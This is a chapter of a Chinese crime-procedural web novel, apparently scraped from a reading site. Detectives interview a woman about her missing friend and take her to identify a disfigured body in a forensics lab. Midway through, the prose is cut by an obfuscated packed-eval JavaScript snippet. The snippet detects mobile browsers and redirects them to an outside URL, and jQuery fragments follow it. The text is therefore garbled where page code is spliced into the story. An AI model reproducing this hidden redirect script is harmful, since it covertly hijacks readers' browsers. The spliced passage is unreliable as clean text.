123读书网 > 都市小说 > 鉴罪情人[刑侦] > 14. 第 14 章
    窗外的沉云仍未散去,办公室里还滞着先前闹剧的余温。


    陈所带来的女人约莫二十出头,一身质感上乘的羊绒裙装,妆容精致却掩不住眼底的憔悴,连下颌线都绷得紧致。


    她僵在门口,脚步迟迟未动,似在害怕踏进这扇门,就会撞破某个不愿承认的事实。


    “肖小姐,别紧张。”陈所语气和善,轻轻侧身示意,“先进去吧。”


    女人颔首点头,手轻轻扶到门框上,指腹触到漆面像被烫到般,急急地缩了回去。


    她局促地扫视一圈,被陈所引到椅子旁,“快坐,把你知道的,如实跟纪队说清楚就好。”


    “嗯。”女人不安地坐下,脊骨绷得像拉紧的弦,双手交握在膝头,指节捏得泛起青白。


    “放轻松,只是常规问讯,你就当在聊天。”纪南星瞧出她的不安,轻声安抚,转头对一旁的人吩咐:“倒两杯茶来。”


    顾时念歪头,指尖轻轻搭在桌沿,依旧倚着身子没动,“你这是在使唤我?”


    她语气带着人格特有的轻挑,虽然没了之前的嚣张,却多了几分慵懒的疏离感。


    纪南星眉峰蹙动,懒得跟她计较,干脆起身亲自去端茶倒水。


    “谢谢。”女人接过水杯,声音轻如蚊蝇,气氛又陷进尴尬的沉默。


    纪南星坐回桌前,摊开笔记本,恢复到公事公办的利落:“麻烦出示一下身份证,失踪者的信息也请说明,你们是什么关系,最后一次联系是什么时候?要是能提供照片,更好。”


    “好。”女人格外配合,从包里翻出身份证递过去,又急着在手机里查找照片。


    纪南星盯着她的身份证,例行确认道:“你叫肖梦?”


    “是我。”肖梦把手机递到她面前,嗓音难掩紧涩:“失踪的是我的闺蜜,叫苏晴,最后一次联系是前天晚上,我不停地给她打电话,可一直没人接...直到看见海大的新闻...我实在担心,所以报了案。”


    纪南星接过手机端详,同时发问道:“你们最后一次见面,有没有发生过矛盾,或者说,她的精神状态有异常吗?”


    照片里的女生容貌秀雅,戴着宽沿草帽,乌黑秀发及腰,眉眼温顺,正笑意和煦地靠在肖梦身旁。


    肖梦摇着头垂下眼帘,努力回忆道:“苏晴脾气很好,就算我们之间有什么不快,也都是我朝她发脾气,可断联前,我们并没有发生过争执,她也没什么不对劲的地方。”


    纪南星象征性地点头,转而问道:“那感情呢,她有恋爱对象吗?”


    肖梦愣了一瞬,迟疑着:“我只知道她有一个喜欢的人,但具体是谁,叫什么名字,做什么工作,她从来不肯告诉我,有时候我都怀疑,这样的人是不是她凭空捏造出来的。”


    “凭空捏造?”纪南星呢-喃,抬眸凝着肖梦看了一小会儿,追问:“那你了解她的精神状况吗?比如说,有没有抑郁、焦虑之类的精神疾病?”


    “她...”肖梦欲言又止,终是不确定道:“我不清楚,没听她提起过。”


    顾时念依旧抱臂倚着桌子,安静得仿佛与这个空间隔绝。


    她可没闲着,目光扫过肖梦全身,从那攥紧的指尖,到强装镇定的脸庞,最后落在眼底藏不住的担忧上。


    审视的同时,她也在揣度肖梦的话,唇角忽而勾起玩味,“巧了不是,前面才来一波认尸的家属,不如你也去认一认,说不定都是老熟人呢,倒是省了大家的麻烦。”


    “什...什么认尸?”肖梦恍惚看向陈所,手里的水杯晃了一下,几滴热水溅在手背上却浑然不觉,“陈所长,是不是搞错了,我只是来报失踪...”


    “请稍安勿躁。”纪南星急忙稳住她的情绪,转而招呼着:“陈所,麻烦你先陪一下肖小姐。”


    说罢,她啪地合上笔记本,猛然站起身,硬拽着顾时念朝里间的办公室走去。


    ‘砰——’门被狠狠关上。


    肖梦被那声响惊得身形一僵,声音发紧:“陈所长,苏晴她...她是不是...”


    话没说完,她自己先闭了嘴,似乎很怕听到答案。


    房间里,纪南星脸色铁青,没给一点好脾气,直接把人甩向办公桌。


    顾时念身板单薄,步伐趔趄了几下,双手撑住桌面,才稍稍稳住重心。


    她回身半坐在桌边,指尖缭绕耳边的发丝,竟不怒反笑着:“原来纪队还有这么粗怒的一面,不过我喜欢~”


    纪南星站姿板正,浑身散发着领导者的威压,见不得对方唯恐不乱的表情,气得绷紧了腮骨。


    她冷静片刻,低斥着:“刚才那对夫妇的事还没找你算账,又给我制造恐慌,有你这么问讯的吗?”


    那刻意压低的声音,很快被一室静谧吞没,只剩沉微的呼吸。


    顾时念懒洋洋地歪头,轻佻的眼神裹了一丝享受,仿佛这人越是气愤,就会造起越发强烈的爽意。


    “你最好老老实实待在这里。”纪南星错开那露骨的眼神,指尖点着桌面警告:“胆敢再惹麻烦,我管你是省厅还是哪里的背景,立刻卷铺盖滚蛋。”


    “嚯?是么?”顾时念嗤笑,全然不在意这番威胁,凝着那道坚-挺的背影,偏要对着干:“那我倒要看看,纪队有没有能耐把我赶走。”


    纪南星不想与之纠缠,可还没走到门口,身侧漩起一阵风,那恼人的熟悉冷香,迅速充斥鼻腔。


    顾时念先她一步拉开门,硬是把那些警告当成耳旁风,就这么大摇大摆地走了出去。


    她雷厉风行地走到肖梦面前,直截了当道:“肖小姐,与其坐在这里干等着,还不如去法医那边把尸给认了,何必把时间浪费在问讯上,你说是吧?”


    “呃...这...”陈所觉得话糙理不糙,只好尴尬地看向纪南星。


    纪南星伤神地捏着鼻梁骨,实在拿这女人没辙。


    顾时念不等她发话,转身就往外走,高跟鞋磕在地面,发出不容反驳的笃定声。


    肖梦缓缓站起身,腿脚莫名发软,却还是默不作声地跟了出去。


    陈所跟在纪南星身后,压着嗓子疑问:“纪队,那位小姐是队里新来的警员吗?做事...这么干脆?”


    “她?哼,省厅搞来的大麻烦。”纪南星沉沉吐息,加紧了赶路的步伐。


    “怪不得。”陈所听到是省厅指派的人,面色肃然几分,忽而告辞道:“这边也没我啥事,先走了,如果接到案情相关的新消息,我随时联系你。”


    “嗯,好。”纪南星把人送到楼梯口,客气道:“劳烦陈所跑这一趟,当是欠你人情。”


    陈所摆摆手:“嗐,什么人不人情的,都是分内事。”


    法医鉴定室在刑侦中心


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496956|202561||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    二楼,空气里弥散着淡淡的福尔马林,冷白灯光将一行人的脸色衬得苍白。


    温翎穿着白大褂,手套还没摘,显然刚从解剖台那边赶过来。


    “纪队。”她打了声招呼,示意着看向角落,被铐着的夫妇正规矩地坐着,早没了先前的嚣张气焰。


    纪南星见只温翎一个人,便问着:“程灿呢?”


    “我让他去物证鉴定科要结果了,这俩人还算老实,没添什么乱子。”


    纪南星瞅了夫妇一眼,“他们认尸了吗?”


    “认是认了,可没认出来,不过我已经做了取样。”温翎如实回答,又小声嘟哝着:“要是物证鉴定那边能尽快提供死者信息,倒是能省下等比对结果的时间,所以我才让程灿赶紧去催。”


    顾时念径直走到二人中间,打断对话:“尸体在哪儿?”


    温翎反感她傲慢的姿态,不咸不淡道:“里面。”


    法鉴室被一道帘子隔成两个区域,外间是办公区,桌上堆着检验报告和器材,里间是解剖室,常年保持低温,冷气从通风口渗出来,混着金属器械的冰凉气息。


    纪南星走到帘子前,回头看向肖梦。


    那女人站在几步之外,整个人像被钉在地上,目光直直盯着白色帘幕。


    “肖小姐,请跟我来。”纪南星语气平静,但没给对方拒绝的机会。


    肖梦往前挪了一步,稍作停留才又迈出脚,仿佛踩在刀刃上,不得不承受未知的煎熬。


    顾时念难得收敛玩世不恭的模样,眼底的玩味也消散些许,只静静看着这一切。


    温翎拉开帘子,冷气扑面而来。


    解剖台上,白色裹尸布勾勒出一具人体的轮廓,头部的布料塌陷出不太自然的弧度,那是脸皮被剥离后,软组织失去支撑的形状。


    肖梦顿住脚步,呼吸骤然变得急促,纵使什么都还没看清,但浓稠的惶恐已经裹满全身。


    “别怕。”纪南星走到她身侧,却没有触碰她。


    温翎看向队长,得到默许后,轻轻掀开裹尸布的一角,只露出死者颈部以上的位置。


    死者的脸被一块无菌敷料覆盖,暂时遮挡了骇人的创面,但肖梦只看了一眼,整个人就像被抽空了所有力气。


    她带着近乎窒息的气音:“是...是她...”


    话音未落,她猛地捂住嘴,没有嚎啕大哭,只是无声地、剧烈地颤-抖着,像是要把所有的恐惧和悲痛都吞回肚子里。


    顾时念听到意料之中的回答,偏过头,残酷地探究道:“你连脸都没看到,是怎么一眼认出她就是苏晴的呢?”


    纪南星同样疑惑,但并没有揪着问题不放,毕竟以肖梦现在的情绪,尽量不刺-激才便于开展笔录工作。


    本着人性化办案,她默默递上一包纸巾。


    肖梦接过,低着头,肩膀仍在不停地抖。


    走廊里陡然响起凌乱的脚步声,不多时,程灿攥着物证鉴定报告跑了进来。


    他见到大伙儿都在,缓着气息汇报:“纪队,有...有消息了...死者叫苏晴,二十五岁,从事社会新闻记者...”


    顾时念听完死者信息,眉峰细微挑动,但什么也没说,只悄无声息地离开了法鉴室。


    木质冷香被福尔马林的刺鼻气味吞没,高跟鞋声渐行渐远,她的背影消失在走廊尽头。